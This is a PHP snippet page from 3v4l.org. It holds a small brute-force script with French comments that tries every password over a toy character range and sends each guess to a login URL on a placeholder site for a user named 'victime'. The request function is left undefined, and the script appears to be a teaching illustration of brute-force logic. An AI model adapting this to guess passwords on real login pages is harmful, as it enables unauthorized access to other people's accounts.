3v4l.org

run code in 300+ PHP versions simultaneously
<?php $maxLength = 5; $minCharValue = 33; $maxCharValue = 36; $pass = array(); // une petite fonction utilitaire pour récupérer le mot de passe en string function arrayToString($array) { return implode( array_map('chr', $array) ); } // la fonction qui teste le mot de passe ! function test($array) { $password = arrayToString($array); $result = faireUneRequete("https://www.lesite.com/login.php?pseudo=victime&pass=$password"); return $result; } while( count($pass) < $maxLength + 1) { // on incrémente la première lettre for ($i = $minCharValue; $i <= $maxCharValue; $i++) { $pass[0] = $i; // puis on test le mot de passe ! if ( test($pass) ){ // si on a trouvé, on s'arrête echo arrayToString($pass); break; } } // on remet à zéro (33, en fait) tous les caractères qui sont arrivés au bout $j = 0; while ( $pass[$j] == $maxCharValue ) { $pass[$j] = $minCharValue; $j++; // si $j dépasse la taille de $pass, il faut l'agrandir ! // sinon, Undefined offset if ($j >= count($pass) ) { $pass[$j] = $minCharValue - 1; } } // on incrémente la denière lettre qui n'est pas 126 $pass[$j]++; }

preferences:
65.86 ms | 402 KiB | 5 Q